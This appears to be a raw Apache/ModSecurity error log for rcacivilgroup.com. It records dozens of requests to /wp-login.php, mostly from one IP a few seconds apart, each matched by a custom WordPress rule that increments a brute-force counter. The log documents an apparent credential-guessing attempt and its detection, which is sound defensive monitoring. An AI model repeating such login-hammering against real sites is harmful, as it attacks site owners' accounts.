[Wed Nov 12 22:51:49.176124 2025] [:error] [pid 60097:tid 60171] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfBcdT5oio_TbWpi-qtgAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:52.640100 2025] [:error] [pid 60097:tid 60161] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfCMdT5oio_TbWpi-quAAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:55.934495 2025] [:error] [pid 60097:tid 60154] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfC8dT5oio_TbWpi-qugAAAMY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:59.306354 2025] [:error] [pid 60097:tid 60167] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfD8dT5oio_TbWpi-qwQAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:02.729374 2025] [:error] [pid 60097:tid 60150] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfEsdT5oio_TbWpi-qwwAAAMQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:06.325770 2025] [:error] [pid 60097:tid 60161] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfFsdT5oio_TbWpi-qxQAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:09.732343 2025] [:error] [pid 60097:tid 60176] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfGcdT5oio_TbWpi-qxwAAANc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:13.243372 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfHcdT5oio_TbWpi-qygAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:16.740052 2025] [:error] [pid 60097:tid 60172] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfIMdT5oio_TbWpi-qzAAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:21.661522 2025] [:error] [pid 60097:tid 60163] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfJcdT5oio_TbWpi-q1QAAAMo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:26.329427 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfKsdT5oio_TbWpi-q1wAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:35.359932 2025] [:error] [pid 60097:tid 60161] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfM8dT5oio_TbWpi-q4QAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:38.657947 2025] [:error] [pid 60097:tid 60162] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfNsdT5oio_TbWpi-q7QAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:41.921249 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfOcdT5oio_TbWpi-q8gAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:46.633859 2025] [:error] [pid 60097:tid 60144] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfPsdT5oio_TbWpi-q_QAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:50.109769 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfQsdT5oio_TbWpi-q_wAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:53.431915 2025] [:error] [pid 60097:tid 60170] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfRcdT5oio_TbWpi-rBAAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:52:57.629729 2025] [:error] [pid 60097:tid 60162] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfScdT5oio_TbWpi-rCQAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:01.706132 2025] [:error] [pid 60097:tid 60163] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfTcdT5oio_TbWpi-rCwAAAMo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:05.139281 2025] [:error] [pid 60097:tid 60152] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfUcdT5oio_TbWpi-rEQAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:09.724568 2025] [:error] [pid 60097:tid 60160] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfVcdT5oio_TbWpi-rFQAAAMc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:13.158159 2025] [:error] [pid 60097:tid 60165] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfWcdT5oio_TbWpi-rGAAAAMw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:17.652730 2025] [:error] [pid 60097:tid 60164] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfXcdT5oio_TbWpi-rHAAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:21.420797 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfYcdT5oio_TbWpi-rKgAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:26.042753 2025] [:error] [pid 60097:tid 60170] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfZsdT5oio_TbWpi-rLwAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:29.401052 2025] [:error] [pid 60097:tid 60162] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfacdT5oio_TbWpi-rMQAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:32.708281 2025] [:error] [pid 60097:tid 60174] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfbMdT5oio_TbWpi-rNQAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:36.139990 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfcMdT5oio_TbWpi-rOwAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:41.865813 2025] [:error] [pid 60097:tid 60174] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfdcdT5oio_TbWpi-rQgAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:53:52.358260 2025] [:error] [pid 23737:tid 23749] [client 62.60.130.213:52771] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfgBQUsVVfOZWgW_XwoQAAAYA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:03.859153 2025] [:error] [pid 60405:tid 60424] [client 62.60.130.213:56724] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfi3MGv_mlVi6mf5oxRgAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:12.541225 2025] [:error] [pid 60180:tid 60187] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSflFhgd7ccS8EZg1p1UAAAAUU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:15.871487 2025] [:error] [pid 60180:tid 60186] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfl1hgd7ccS8EZg1p1WQAAAUQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:21.300312 2025] [:error] [pid 60180:tid 60192] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfnVhgd7ccS8EZg1p1XgAAAUo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:24.659375 2025] [:error] [pid 60180:tid 60183] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfoFhgd7ccS8EZg1p1YAAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:28.063484 2025] [:error] [pid 60180:tid 60183] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfpFhgd7ccS8EZg1p1awAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:31.451447 2025] [:error] [pid 60180:tid 60197] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfp1hgd7ccS8EZg1p1cQAAAU8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:35.949396 2025] [:error] [pid 60180:tid 60185] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfq1hgd7ccS8EZg1p1dQAAAUM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:40.433947 2025] [:error] [pid 60180:tid 60191] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfsFhgd7ccS8EZg1p1fwAAAUk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:43.775796 2025] [:error] [pid 60180:tid 60193] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfs1hgd7ccS8EZg1p1hQAAAUs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:47.065732 2025] [:error] [pid 60096:tid 60153] [client 37.140.223.217:45307] [client 37.140.223.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.217, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSftzmzkhCvvk8DXOzP7wAAAJQ"]
[Wed Nov 12 22:54:47.267948 2025] [:error] [pid 60180:tid 60188] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSft1hgd7ccS8EZg1p1hwAAAUY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:50.591556 2025] [:error] [pid 60180:tid 60186] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfulhgd7ccS8EZg1p1jwAAAUQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:54.490669 2025] [:error] [pid 60180:tid 60188] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfvlhgd7ccS8EZg1p1lQAAAUY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:54:57.810572 2025] [:error] [pid 60180:tid 60201] [client 62.60.130.213:59492] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfwVhgd7ccS8EZg1p1mQAAAVM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:09.608857 2025] [:error] [pid 23737:tid 23771] [client 62.60.130.213:62210] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfzRQUsVVfOZWgW_Xw5AAAAZY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:19.943335 2025] [:error] [pid 23737:tid 23755] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf1xQUsVVfOZWgW_Xw9AAAAYY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:23.256371 2025] [:error] [pid 23737:tid 23769] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf2xQUsVVfOZWgW_Xw_AAAAZQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:27.877725 2025] [:error] [pid 23737:tid 23761] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf3xQUsVVfOZWgW_XxAAAAAYw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:31.237767 2025] [:error] [pid 23737:tid 23756] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf4xQUsVVfOZWgW_XxBwAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:35.393759 2025] [:error] [pid 23737:tid 23758] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf5xQUsVVfOZWgW_XxCQAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:38.821913 2025] [:error] [pid 23737:tid 23752] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf6hQUsVVfOZWgW_XxDwAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:42.164745 2025] [:error] [pid 23737:tid 23752] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf7hQUsVVfOZWgW_XxIgAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:47.669023 2025] [:error] [pid 23737:tid 23755] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf8xQUsVVfOZWgW_XxKQAAAYY"], referer: https://rcacivilgroup.com/wp-login.php
